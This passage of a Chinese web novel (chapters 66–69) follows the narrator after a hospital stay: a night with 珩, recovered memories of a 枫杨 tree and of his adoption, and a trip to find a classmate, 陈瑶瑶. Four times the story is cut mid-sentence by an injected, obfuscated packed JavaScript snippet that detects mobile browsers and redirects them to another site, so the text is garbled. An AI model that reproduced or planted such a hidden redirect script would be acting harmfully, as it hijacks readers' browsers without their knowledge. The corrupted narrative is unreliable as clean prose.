“你还没回答我,你说你也喜欢我,你说你愿意,你愿意什么来着?你愿意要当我什么来着?” 珩往我正在说话的嘴里塞了一块肉,同时霸道地给了我一句:“我愿意当你爹。”然后又往我惊愕的嘴里塞了一团米饭。她的温柔转瞬即逝,果然我是醒了。她一边喂一边骂我:“你到底吃不吃?真是的,二十几岁一个人了,跟哄小孩吃饭一样。” …… 回到家已经是四个小时之后的事情了。 我从来没有这么高强度地使用过我的大脑,它先是彻底没电,之后开始胡乱放电。珩花了三个小时喂我这个失能青年吃饭,之后我变成不受控制的机器人,僵硬地手舞足蹈。我们两个人艰难地离开医院,我们在急诊门口打了辆出租车,珩非常粗暴地把我塞进后座,因为我没法执行“屁股往里面挪点”这个复杂的指令,上半身躺在座椅上,下半身就进不去了,珩干脆硬塞,把我的腿硬生生叠起来塞进车里,之后砰地把车门关 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16551001|177656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上。处理完我之后,她还利落地拍了拍自己的手,一副在处理僵硬人体上很有经验的样子。她在副驾驶上落座的时候,我在后视镜里看见司机略有些害怕地看她。 “他还好吗?医院放他走了?”司机小声问。 “没事的,他好得很。”珩非常肯定地回答,之后又怕司机不信,补充一句,“就十分钟车程,不会死你车里的。” 司机神情一凛,眼睛往旁边快速地一轮,之后又赶紧躲开,非常突然地,他一脚油门就踩了下去。 最后十分钟的车程,我们五分钟就到了。我刚吃饱饭,被珩像个折叠凳一样塞在后排,司机害怕我死他车里,开得飞快,我起来的时候天旋地转,只能扶着珩,珩刚把车门关上,出租车呼地一声就溜之大吉,留下我和珩在车屁股后面吃尘。 幸好我家那个老小区有电梯,不然我怕是要爬上楼去。我的四肢都不听使唤,像个测试中的人形机器人,走得很没有人样。珩看我能站稳了,一点没有要帮我的意思,她拿着手机给我拍视频,说我是“早期人类驯服四肢珍贵录像”。唉。烦死了。我走到家门前,过去的梦太长,我花了一会儿才想起来指纹锁录的是哪个手指。 这一晚上太累,一进屋,我就在沙发上瘫倒。珩跟着在我旁边也瘫倒,珩开错灯了,屋里只有一盏昏黄的小夜灯亮着,但我们都没有要起来的意思。就这样躺了一会,我问她:“你今晚还回去吗?” 她偏过脸来看我,给我一个模棱两可的回答:“你想我回去吗?” 我的心脏一震。这样昏暗的灯光使她的眼神看起来有些暧昧,我大脑里被压抑多时的几个色胆包天神经元在敲锣打鼓——它们的动静很大,使我的脑子里反复播放着她靠近时的记忆片段,那些冰凉的、顺滑的、柔软的触感。见我不回答,她盯着我看,她会用这种像看小动物的眼神看我,对占有物不加掩饰的喜爱,好奇地观察我这个异种生物的一切笨拙。我的心脏被她看得又是一震。 不等我回答,她灵活地从沙发上跳下,打开了客厅的顶灯。仰躺在沙发上的我被灯光照得睁不开眼,只看见她纤细的银色的背影往我的房间走去。我才注意到这条银色裙子居然是露背设计,两条细得几乎看不清的肩带,中间是大片冷白色的皮肤,脊柱的痕迹一路往下,隐没在银色的鳞片里。我恍然想起水池里的人鱼。事到如今水池里的人鱼已经和我的欲望等同,我赶紧把这个闪进来的意象赶走。 她一边走一边说:“今晚我不走,我得看着你。” “看着我?”我疑惑地问,“我是还会有什么突发危险吗?” 她站定脚,只稍稍回过来一点角度,姿势很随意,眼睛却看着我。“没有危险。”她说,“我就是想看着你。” 我的心脏第三次地震。 她说完就转过身去,非常熟门熟路地到我房间找衣服要去洗澡。我瘫在沙发上,看着她拿了一件我的T恤和一条干净浴巾(我非常确定只有一件衣服,只有一件)走进浴室。 我的呼吸都要停了。心脏在乱跳。 救命。我怎么感觉她刚刚在暗示我?? 66. 蝉 我的呼吸都要停了。心脏在乱跳。 救命。我怎么感觉她刚刚在暗示我?? 不是……她没说什么特别的吧。 我有问题,一定是我有问题。我怎么变成了那种死皮赖脸猥琐男,我怎么看她每一句话每一个动作每一个眼神都在暗示我?不是,不是,怎么可能?我收回当时她第一次来我家住,我说自己精虫上脑的话,那时候的我充其量是暗恋萌动,现在的我才是精虫上脑。我完全无法思考,整个大脑都是她刚刚起来拿衣服的动作和对我说的那寥寥几句话。 浴室里传来断断续续的水声。 …… 不会吧她不会真的在暗示我吧。我的意思是今天我才刚表白,她……算了我无法猜测她的意图,她是个完全意料外的人物,没有任何规则没有任何惯例可以框住她,她百分之一百不受管束。我有点紧张。她说她比我大一点……像她这么聪明这么有魅力的女孩子,绝对不缺优秀的追求者,她大概率谈过。我现在才刚能动,而且我没有经验,要是表现得太差她会不会嫌弃我——但我要是拒绝她又有点扫兴。完蛋了。完蛋了。我差点又习惯性求助系统自带军师,幸好我及时刹车。问他没用。筑梦师现在已经是个废物了,问他只会让他无能狂怒。 救命。救命。浴室里的水声停了。她应该洗完头了。我剩下的时间不多了!不行,别纠结那些不紧急的问题了,到时候再说吧!先解决最紧急的问题—— 我摸到手机,打开外卖软件,紧急下单避孕套。 屋子里只剩下浴室里传来的水声。 我瘫在沙发上焦虑地等外卖,很快我变成在餐桌旁边焦虑地等外卖,之后我坐在玄关鞋柜旁边焦虑地等外卖。 就在手机铃声响起的那一瞬间,我马上弹射起身开门。 外卖小哥被我的开门速度惊到,东西用不透明的纸袋装着,他显然不知道是什么。我接过袋子,说了声谢谢,之后就赶紧关门。我一边走回沙发,一边撕开纸袋。没想到楼下便利店保密还做得挺好,纸袋里面是黑色塑料袋,撕开一层塑料袋,还有一层塑料袋。我沉浸在拆包装的工作中,丝毫没有留意到,浴室里的水声已经停了。 很突然地珩打开门。 我手里拿着一个小方盒子,略有些尴尬地看向她。 珩正拿毛巾擦着头发,她看着我,细眉毛疑惑地一蹙,之后又好奇地抬起。她走到我面前,接过我手里的方盒子。“你买避孕套?”她把袋子也拿过去,从里面拿出剩下的几个方盒子,非常真切地露出了快乐的笑容。“你买这么多干嘛?还是不同牌子的。哦!我知道了,你要试试哪款好用。”她抬头看我,“你还挺有探索精神的哦。” 我站在那里完全没法说话,尴尬得整张脸都在烧。我悄悄看她,她没什么表情,我无法判断她是什么心情,这下更恐怖了。幸运的是她下一秒说话了,但不幸的是她听起来好像有点生气:“我去洗澡,你立即下单避孕套?” “不是,我不是那个意思!”我真是非常的不善于解释,发热的大脑现在更转不动了,“我是看你刚刚好像有点那个意思,所以先买来备着——我没有要怪你,是我误会了。我听你的我都听你的,你想就想不想就不想,都听你的。” 我手忙脚乱,语无伦次,她看着我,刚刚一闪而过的怒气消失了,她又现出了那种好奇的眼神,好像我是什么头顶长蘑菇的怪异生物。不生气就行,我真的要被她吓死了,她的心思好难琢磨。我在原地罚站,一点不敢动,也不敢说话。“你今天不累吗?你不累我累,把你扶到医院门口差点要累死我,我今天不想。”她说完,把手里的浴巾拿起来,“你浴巾手洗机洗?” 我哪敢让她老人家洗浴巾啊,我把浴巾接过,又偷眼看她。她好像真不生气了,心情似乎还不错,真是善变的女人。我试探着指了指桌上几个彩色盒子:“你看它们还顺眼吗?看着烦的话,我扔掉?” “放起来吧,扔掉多浪费钱。”她看向我,正好碰上我偷偷摸摸试探着投过去的目光,她的心情阴转晴,甚至笑起来,“诶你这个样子真的很像一只做错事的大金毛,哈哈哈。” 大金毛害怕极了,大金毛不敢动,大金毛怂成一团不知该作何反应,只能道歉:“我是不是冒犯到你了……对不起。” 她脸上的笑意又凝住。我可能有点太在意她了,我本来就过度敏感的神经,现在更加敏感了。但她的眼神瞬间又缓和下来,她弯了弯唇,伸手摸我的脸。“不是你的问题,是我有点敏感了。”她说,“你别总道歉。” “下次不会了,对不起。”我脱口而出,赶紧捂嘴,“我又说了……” 她没再说什么,转身回房间去了。她身上穿着我的T恤,我的衣服比她的体型大很多,这让她的背影看起来很单薄。直觉告诉我她好像对我有点本能的戒心——我不能确定这种戒心是针对男人,还是针对所有人。我好像渐渐地有点理解她的应对模式,她身上每一根刺底下都是潜藏的脆弱,相比于袒露自己的伤口,她比较习惯于武装自己。 我随便冲了个澡,就回房间准备睡觉。珩抱着她的毛绒玩具熊,正在百无聊赖地玩手机。感觉到我来,她把手机放下。我把灯关掉,屋里霎时陷入黑暗,外面的路灯在窗上映下窗台几棵虎尾兰的剪影。我从后面靠近,轻轻地试探着要抱她。她往我怀里钻了钻,之后放松地半转过身来。 她穿了件海绵宝宝的T恤。 我问她:“衣服是你挑的,还是随便拿的?” “我挑的呀,怎么啦?” “看来蟹堡王二小姐挺满意这个员工啊。” “那当然,”她笑笑,“海绵宝宝可是我们餐厅的优秀员工呢。” 不知道什么时候,我睡着过去。 醒来时天还没亮,我似乎只是睡过去了一个片段。 我睁开眼,珩抱着毛绒熊,睡得正深。她果然又在睡梦中把我挤到床边,我稍稍抬起上身看,很神奇,她睡在床的正中间,非常正的中间,好像睡眠中的她天然开启了什么定位系统,尽管旁边有我这个巨大的障碍物,她依然准确地落在了当前平台的几何中心。环绕着她的是一些昏沉的空气,这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16581045|177656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 种空气的范围很大,它充满了整个房间,我也许在这种空气里产生了些许错觉,我甚至觉得窗台的虎尾兰比平时还要安静一些,静止的植物内部也被暂时冻结。我在昏昏欲睡的氛围里靠近她,恍惚间我仿佛看见她的鼻梁在动,那好像是一种奇怪的振动,与呼吸无关,它自顾自地遵循着固有的节律,缓慢地振动着。 出于好奇,我鬼使神差地伸出了一个手指,慢慢地按到了她的鼻梁上。 那里确实有什么在振动。像蝉,当我的手指按上去时,振动停止了。与此同时室内那些令人昏沉的空气瞬间消失了,像什么听不见的噪音被按停,我的感官霎时从半梦半醒的朦胧状态中清醒过来。 我甚至怀疑自己在做梦。好奇怪的感觉。但我肯定不是在做梦,经过这段时间的训练,我已经能很明确地分辨现实和梦境,梦里的我感受到的重力会减半。我抬起手指,她鼻梁上那块奇怪的组织又开始振动,现在我很明确这块组织就是昏沉空气的来源,因为在我松开手之后,屋里又瞬间浸入那样古怪的朦胧状态。 我控制不住自己的困意,很突然地我又睡过去。 我的意识在和这仿佛注了安眠药一样的空气抵抗,我悬在浅层的睡眠里,碎片般的梦胡乱地将我拖拽进去,又在几秒钟之内把我推出来。我似乎能感觉到空气的变化——那来自于珩的,令人昏睡的空气——梦境时快时慢时疏时密地涌出。忽而一个熟悉的片段出现,我黑暗的大脑里亮起一朵火花。 砰。 我动不了。这是我的一片记忆。我又回到那个瘦弱的十岁小孩身体里,我好像摔倒了,人趴在地上,右上腹疼得厉害。我低头去看自己,一块石头在我的肚子下方,我好像就是撞到了它。太疼了。疼得冒眼泪,疼得睁不开眼。 天刚亮。我翻了个身,躺在地上,我的身边是一棵很高大的树,因为躺着,它显得更高大。我没有流血,画面很干净,但我的头越来越晕,越来越晕,我浑身发冷,皮肤像被泡过,又湿又软,失去弹性。逐渐缩小的视野里是映在天空上的巨大树冠——树上枝叶繁茂,一串串不知道是花还是果的穗子垂下来,像一串绿色的蝴蝶。 我好像快晕了,穗子上的翅膀扇动,树下飞起一片绿色的蝴蝶。 在飞舞的蝴蝶群中,一个人影出现。 那是一个纤瘦的少女,穿着宽大的长裙,长发披散,几乎和裙摆一样长度。她背着光,我只能看见她的轮廓。她好像是珩……但这是我的记忆,珩怎么会出现在我十岁的记忆里? 这段记忆很短,画面定格在少女走到我面前的那一刻,之后梦境断连。 再睁眼时,阳光已经开始发烫。珩抱着她的熊,人旋转了三十度,她的头没枕在枕头上,而是往我怀里扎。我回身摸手机看时间,十点半。珩也醒了,她迷迷糊糊地睁开眼,抱着熊翻了个身,脸藏在熊后面,企图用它挡住阳光,再赖一会床。 她醒着。因为屋里没有安眠药一样的空气了。我从后面靠近她,小声唤她:“珩。” “嗯。” “我梦见你了。 67. 枫杨 “我梦见你了。” 这听起来像恋人之间无聊的废话,她对此兴趣不大,头也没回,还抱着她的熊,回我一句:“梦见我怎么了?” “我不太确定是不是你,看不清脸,而且是长发,只是看体型很像。”我回忆那个从飞舞的蝴蝶里走出来的剪影,“不对……好像不是梦,是一片记忆。我十岁的记忆。” 这引起了她的兴趣,她的背脊一顿,之后转过身来看我。“记忆?你在你的记忆里看见我?” “是,挺奇怪的,不过我也不确定那是不是你,就……直觉觉得是。”我说,“有没有可能是我们的梦境互相干扰了?就像那天的海浪声。” 她的细眉毛皱起,之后她指了指我的左边胸口。“如果那真的是你的记忆,那就不可能是干扰。他怎么会让别人进你的记忆?” 我沉默,而她显然被我激起了兴趣,眼里现出那种摩拳擦掌要解决大难题的光亮。她整个人转向我,之后问我:“你回忆一下,这块碎片是从哪里开始的?” “不知道,我昨晚半夜醒了一下,快要睡回去的时候,忽然间开始的。” 她思索起来,好像是觉得这不是个合适的突破口,她转而问我记忆的内容:“记忆里有什么?” “没什么。我好像是摔地上了,石头磕到我的右边肚子,特别痛,然后我快要晕过去了,躺在一棵很大的树下,树上的花变成蝴蝶,一个很像你的人走过来。” 她完全沉浸在她的思考里,她的语速变得很快,言语随着思维高速输出:“记忆是一片接一片触发的,触发点不可能是’我’,毕竟你已经见过几次长头发的我,假如我是那个扳机点,你的记忆不会停在这里。树,树……”她看向我,“是怎样的树?” 我闭上眼睛,努力去回忆那棵树。“很高很高,树冠很大,树皮看起来很粗糙,上面布满条纹,应该是一棵很老的树。然后……它上面有花,非常多的花,一串一串绿色的,从树上垂下来,花长得像蝴蝶,有两个像翅膀一样的东西——” 我无法回忆起更多的细节了,我睁开眼。她眼睛闭着,眉头紧皱,显然是在脑海中搜索这个模样的树。我不敢打扰她,我们就这般安静地躺在床上,过了一小会儿,她睁开眼。她问我:“你家冷吗?” 我摇摇头:“应该不是很冷。” 这模糊的回答无法帮助她定位,我又从小时候的记忆里找证据:“他们当时还想在我家建港口,建旅游度假区……太冷的海岛不适合旅游吧?” 珩的搜索落在一个点上:“枫杨?” 我的心脏抽痛了一下。 是他。他听到这两个字,陡然站了起身。之后我的头开始胀痛,我闭上眼,黑色的视野里,千万点金色的光在闪,烟花炸成一片。 枫杨? 一棵树何以触发这么多的记忆? 混乱之中,我的视野里出现了一个人。 是他。是我自己。二十岁的我自己。 他看起来比十四岁的时候又高大不少,少年时乖乖优等生的模样褪去,他看起来很严肃,神情冷淡,虽然只是随意地看我一眼,目光里却有些审视的意味,使人不由自主地有点紧张。 “你好。”他说,“我是李枫杨。” 我忽然又回到那个十岁的身体里。丁书记在福利院的办公室里向我伸出手,我茫然地把手交到他手里,又茫然地用另一只手和办公室里的几个老师挥手道别。我大概知道我要被接到一个新的家庭里继续生活了,但这件事并没有让我感受到深刻的喜悦,多年来像只老鼠一样苟且求生的经历使我十分敏感而警惕,我嗅到了一些不寻常的气息。 那个穿得斯斯文文,看起来很儒雅的男人。他的手上布满了硬茧,而且力气时大时小。他好像不知道应该怎么去握住一个小孩的手——因此他有时很不用力,有时又怕我逃走。虽然我不知道一个真正的父亲应该是怎样的,但至少他不像,他甚至让我想起那个要抓走我的人贩子,我有点害怕。 记忆跳跃到几天之后,我被送到一栋住宅楼里。我洗了个澡,理了头发,换上干净的衣服,像个普通家庭里的小孩,在丁书记的带领下,来到一户人家门口。 他按下门铃,一个中年女人打开了门。 她是我的养母。 她和丁书记没有什么多余的交流,他们简单地说了几句,丁书记就走了。来到新家庭的我,依然很害怕。密闭的空间,和某个人长久地住在一起,被紧密联系的身份相连——对于我来说,这是一些创伤回忆。我的养母是个身材瘦长的中年女人,四十多岁,留着一头齐肩卷发。 她大概没有自己的孩子,我猜的。她不知道该怎么对待我,就像一个第一次养宠物的人,手忙脚乱地到处搜索动物吃什么睡哪里要怎么照料。 她和我说,以后她就是我的妈妈了,我点头。 她和我说,你爸爸出差了,要两个星期之后再回来,我点头。 她弯下腰,靠近我,我下意识地往后缩,之后又想起这个躲避动作可能会挨打,我赶紧刹住自己的动作,僵硬地立正。她的观察力很敏锐,尽管她不知道该怎么对待小孩,但她能察觉到我不自然的动作。她温柔的目光在抓到我躲避的那一刻冷下去,像一些本能的警惕。但这警惕转瞬即逝,她又微微笑着,伸手摸我的头。 她说,你要改个名字,跟我们家姓,以后你就是我们家的孩子了。 我虽然不知道在这里会怎样,但我痛恨我过去的一切,我一听说要改名,重重地点了点头。 她又靠近了些。“你怎么不说话呀?”她问,“你在害怕吗?” 我怎么能说我害怕,虽然我确实在害怕。我连忙摇头,之后想起她说我不说话,我又小声补充一句:“我没有,我不害怕。”?她轻轻拍了拍我的肩膀,说:“你不用害怕,这里很安全。我带你看看你自己的房间。” 她牵起我的手,往屋里走去。 这一天很不真实。很不真实。当我这天晚上吃饱了饭,换上干净松软的睡衣,躺在属于我自己的床上时,我觉得自己在做梦。与此同时我有一种莫名的恐惧,也许是我之前过得太坏,新 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16584993|177656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的生活好得不像话,我开始担心我会遭遇什么可怕的灾难,以平衡我突然得到的优渥生活。 但我还是沉沉地睡了过去,第二天我是被养母的敲门声叫醒的。当我睁开眼,听见敲门声,我吓坏了,我预备好了开门之后就马上挨打,但我当然没有。我打开门,我的新妈妈站在门口,手里拿着一套叠好的干净衣服。 “起来换衣服吧,”她说,“今天天气不错,带你出去走走。” 我坐在副驾驶上,这是我第一次坐这个位置,安全带刚好勒在我愈合的肋骨上,我坐得有点局促。外面阳光很好,我们正在往景区的方向去,路上的车越来越多,离景区很近了,路上甚至堵起了车。我们干脆在附近停了车,我的新妈妈拉着我的手,我们走在路上。城市是陌生的,旁边的人是昨天才见面的,但我难得地安心,我终于可以如此堂堂正正地,走在这大路上,没有人知道我的来历,没有人嘲笑我,没有人会忽然间打我。我往旁边看,我的新妈妈不知道是什么职业,大概也是个警察?反正差不多。她的反应快得不似常人,营养不良的我比她矮很多,但几乎在我偷偷看她的那一刻,她就发现了。 “怎么了?”她问我。 “我……”我不敢和人对视,不自觉地就把目光挪开,这让我看起来很像一只老鼠,“我应该怎么称呼您?” 她被我问得糊涂,她摸摸我的头:“喊妈妈呀。”她说。 “好的……妈妈。” 她把我带到市郊的山地公园去,这和我以前住的地方显然是不一样的风貌,内陆城市里,没有终年不散的咸腥味。早上的山林,路上有湿润的草木气味。我跟着她走,一边走一边看周围的人,这里的人看起来比海岛上的要光鲜亮丽得多,每个人看起来都很有钱的样子。我已经忘记我穿得和他们一样,我有点畏缩地紧跟着妈妈走,人越来越多,我不敢和他们对视,只是看路两旁的树。 前面似乎是个庙,香火很鼎盛,人来人往的,庙的周围有稀薄的白烟缭绕。我很突然地留意到庙的旁边有几棵特别高大的树,它们看起来已经在这里生长了好多年,树干高耸入云,树冠像一把把撑开的伞,繁密的枝叶铺开一大片。山上有风,风吹来的时候,枝叶上垂下来的一条条穗子随风摇摆,看起来像栖息在树上的无数只浅绿色的蝴蝶,悠闲地来回盘旋。 是枫杨树。 少女的剪影忽而闪回。但她就像我关于家乡人鱼塑像的记忆一样,统统落了锁。那时候的我应该在枫杨树下回忆她,但因为记忆被锁上了,我站在那里,画面变作一片生硬的空白。直到妈妈叫我。 “好高的树,这是什么?”她循着我的目光看,之后走近那一排老树,仔细读树干上古树老木保护牌的字,“枫杨——” 她回头看我,我还在看树。现在的我无从知道那时候的我在想什么,这段回忆是空白的。我愣在那里看,妈妈好像想到什么,她忽然问我:“你喜欢这棵树?” 我点点头。 “枫杨,它名字还挺好听的,”她说,“要不你也和它叫一样的名字?” 68. 同学录 “枫杨,它名字还挺好听的,”她说,“要不你也和它叫一样的名字?” …… 之后的记忆飞快地略过——这是一大片被强行删减的记忆。这样的记忆我在钟灵阿姨那里见过,她关于家暴男前夫的记忆被珩删除,因为这个男人几乎在她生活里的每一天都会出现,她的记忆被删得七零八落,从一月份直接就跳跃到十二月。 我大概能从这样的删减里猜出被删掉的是谁。 李枫杨。我姓李。被删掉的应该是我的新父亲,一个姓李的男人。我的记忆删得不剩什么,妈妈带我到庙里祈福……之后记忆一片空白。我只抓住几个散落的碎片,因为父亲出现过的记忆都会被删掉,剩下的都是我在学校的记录。因为营养状况比以前好多了,我长得很快,被安排到教室的最后一排座位。我的前面是一个壮实的女生,她永远不回头,我只能看见她的背影……宽厚坚实的后背,总有些发黄的校服运动短袖,因为出汗而看起来有点油腻的短马尾辫。这就是我所剩无几的少年回忆。 终于,在我即将从记忆里掉出去的那一刻,画面变了。 一张印着卡通图案的同学录活页纸被递到我面前,前桌的女生回过头来,她双手拿着填好的同学录,十分郑重地交给我。她长得绝对谈不上漂亮,甚至是电视剧里容易被孤立的女孩长相——辨不清是壮还是胖,晒得黝黑,身上总有些汗味,牙齿不整齐,刚戴上牙套,不说话的时候嘴也合不拢。记忆里的我接过她手里的活页纸,她的字迹倒是很清秀,小小的圆润的字,一看就是认真写的。 画面很模糊,注重效率的李枫杨只给我留下了纸上最核心的留言内容。 “很幸运认识你!祝你前程似锦!以后也要常联系呀~” 很寻常的毕业留言。特别的是留言底下的落款。 陈瑶瑶4976853622016年5月9日 …… 我从记忆里掉出来,珩还躺着,她的熊被放到了我的枕头上,我差点被这放大的熊脸吓一跳。 “我掉进去多久?”我摇了摇头,企图让重新回到现实时间的自己清醒过来。 “五分钟,差不多吧。”她说,“你看见什么了?” “497685362……”我生怕丢失这串清晰的数字,一边摸手机一边自言自语,我打开手机备忘录,马上将这串号码记下,之后才在最后把剩下的名字和日期补上。珩往我这里挪了挪,她看着手机上的号码,也小声念叨起来。 念了几遍之后,她问我:“你在哪里看到的?” “同学录,2016年……应该是高中毕业的时候?”我说,“是我前桌的女生写的,这是给我的留言落款。” “她说什么了?” “没什么,就一些祝福,然后常联系之类的话。” “常联系……”她喃喃地重复,之后忽然坐起来,“你打开微信搜搜?这长度,看起来像个□□号。” 我从床上坐起身,珩坐在我旁边,她看着我打开微信,输入这串号码,点击搜索。 果然能搜到人,女生,地区苏省N市,昵称瑶瑶。陈瑶瑶,陈瑶瑶,好像真的是她。我点开她的头像,那是一个女生在健身房镜子前面的自拍照,脸被手机挡住,穿着紧身的短背心和瑜伽裤,露出的腰腹隐约可见肌肉线条。 我点开她的朋友圈,因为没有加她好友,我只能看到前几条朋友圈。内容很重复,和珩的长者饭堂订饭号一样,隔几天发一些长得差不多的,缩略图看着像健身场地的照片。我点开最近的一条,图片配文“本月操课安排”,我点开图片,那是一张课程表,古典舞,塑形杠铃,有氧搏击……课表抬头“SUPERFIT健身(南山路店)课程表”。 我打开手机里的订票软件,把地区改到N市,之后输入“SUPERFIT健身”,搜索。列表里出现了好多家同名的健身房,我往下滑,果然看见了陈瑶瑶所在的南山路店。 “她好像是个健身教练,”我看向珩,“怎样,要不我加一下她微信?” 珩思索了一下,提出了一个更大胆的想法:“我们要不直接去找她?” …… 珩的行动力简直可怕,在我起床去刷牙的五分钟里,她已经买好了下周六上午到N市的高铁票。中午我带她去前天她没吃上的烤肉,我们两个又坐在同一边,烤肉店是个很适合聊天的地方,滋滋的烤肉声和抽油烟机工作的噪音天然地在桌与桌之间形成了屏障。 我忍不住问她:“为什么你觉得我们应该直接去?我总觉得是不是有点唐突?” 她又用一些微妙的眼神看向我。 “你重复一下陈瑶瑶给你的留言内容?” 今天早上这条信息一直在我的脑海里回转,无需多作回忆,我就把它背了出来:“很幸运认识你,祝你前程似锦,以后也要常联系呀。怎么了?” “十几岁的年纪,异性缘好的女生,要么漂亮,要么外向,按照你的描述,那时候的陈瑶瑶既不漂亮,也不外向。她大概率和你们班的男生不太熟,是吧?” 虽然我的记忆里没有其他人,但按照我在学校里对学生们的观察,她的推论没有问题。 我不反驳,她接着说道:“你坐在她后面,但记忆里一直都只有她的背影,连你都很可能跟她不太熟,但是你给了她一张同学录,你不是那种会全班人手发一张的人吧?” “不是。”这我倒是很肯定。 “所以她对你来说很特别。而她在和你并不算很熟的前提下,给你写了一句’很幸运认识你’,你想想一个女生,有可能对一个不太熟的男生说这种话吗?’常联系’可能是套话,但她留下了自己的□□号。这还是个套话吗?” 一个答案涌到我的嘴边,但我没把它说出口,因为我想起筑梦师在珩靠近时慌乱的样子,他……他绝对没有过任何感情经历。 “你的意思是陈瑶瑶暗恋我,”我不太确定地说,“而我知道,并且不太排斥这件事?” “你不仅不排斥,你甚至很重视。”她说,“虽然我不知道你们为什么最后没有在一起。” 很冲击。虽然我已经听过珩亲口承认她对我的好感,但知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16591147|177656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道曾经有人喜欢过那个阴暗的我,我还是觉得很受震撼。“喜欢你也很正常,你成绩应该不错吧?长得帅,成绩好,你已经秒杀了百分之九十的男人。”她把夹着的肉片吃掉,拿着空筷子在烤炉上空指点江山,“女孩子的选择就是这么少得可怜,漂亮的女孩多得跟沙丁鱼似的,但像点样子的男人都算国家保护动物。” “我还是不明白,”我说,“这和我们直接去找她有什么关系?” 她又用那种看小动物的眼神看我:“她暗恋你,你在微信上加她,你说你是李枫杨,你对李枫杨的了解还没有她对他的了解多,她马上就怀疑你。” 好有道理。无法反驳。 “就算她不怀疑你,你到底和他不一样,她暗恋过你,她立即就能发现你和他不一样。你一开始还能借着她对李枫杨的好感拉近关系,但时间一长,滤镜淡掉,她意识到这个人再也不是自己十几岁的白月光,她甚至会把你删掉,来彻底放下以前对你的感情。” 好有道理。好复杂的女人。果然还是女人懂女人。 “那我直接去,她难道就不会这样吗?” 珩靠近我,她伸出手,放在我的脸上。“你长着一张和她回忆里一模一样的脸,如果她那时候足够喜欢你,你出现在她面前的那一刻,她的理智就会彻底被扰乱,只要我们不犯明显的逻辑错误,我们说什么,她都会倾向于相信。” 她的话让我有点不适。“这样是不是有点残忍,”我轻轻抓住她的手腕,“假如她以前真的那么喜欢我的话——” 她哧地笑了一声,把手收回。“你毕业多久了江夷,快十年了,你一次都没联系过她,她怎么可能还喜欢你?不把你忘掉,还对你有点滤镜,已经算是感情深了。再说,就算她还喜欢你,你试试一上来就问她借钱,她马上就不喜欢你了。人是很现实的,傻瓜!” 不知道为什么,她的话让我想起昨晚,她发现我买避孕套的时候冷冰冰地质问我,那时候她的眼里充满了对我的戒心。 人是很现实的,傻瓜! 我忽然把她抱住,她还在烤她的五花肉,她忙着看火候,只用余光看我。“喂,”她在我怀里挣了挣,“热死了,你做什么?” “没什么,”我说,“我想说我不是很现实,我是傻瓜,你可以放心。” 她又笑了笑,伸手推开我。“真肉麻,真碍事,肉烤焦了你给我再点一盘我跟你说。” 这一周的班我上得心不在焉,我始终在回想那棵高大的枫杨树,和陈瑶瑶的同学录。因为珩恐高,我们买的高铁票,从我们所在的城市到N市,足足要坐七个小时的高铁。我和珩买的第一班车,早上六点我们两个就迷迷糊糊地赶到火车站,车站里人很多,安检的时候她在我耳边不知说了句什么,之后就匆匆忙忙往旁边人工通道去了。人工通道人比自助检票少,她过闸机的时候我还在后面排着。我看见她掏出身份证——长得是身份证的样子,但必然不是身份证,不然她为什么要去人工通道——递给检票员。检票员接过证件,在机子上核对了一下之后,她背着她的小包通过了闸机。 69. 陈瑶瑶 检票员接过证件,在机子上核对了一下之后,她背着她的小包通过了闸机。 我太困了,兴奋和紧张都不足以唤醒我,一坐下,我就靠在座椅上睡着过去。再睁眼时是八点钟,向来要睡到早上九点的珩此时醒着——我想起她鼻梁上的蝉——她自然是不能睡的,她要是睡着,从她身上散发出来的昏沉空气能放倒整个车厢的人,没有一个乘务员能醒着走出这节车厢。 她拿着手机,正专心地玩着什么打发时间的小游戏。我还没有靠近她,只是醒了过来,看着她,她就发现了。她的眼睛还专注地看着五颜六色的屏幕,轻声问我:“怎么了?” “没什么,就是想起来我好像还不知道你叫什么名字,”我靠近,“能告诉我一下吗?” 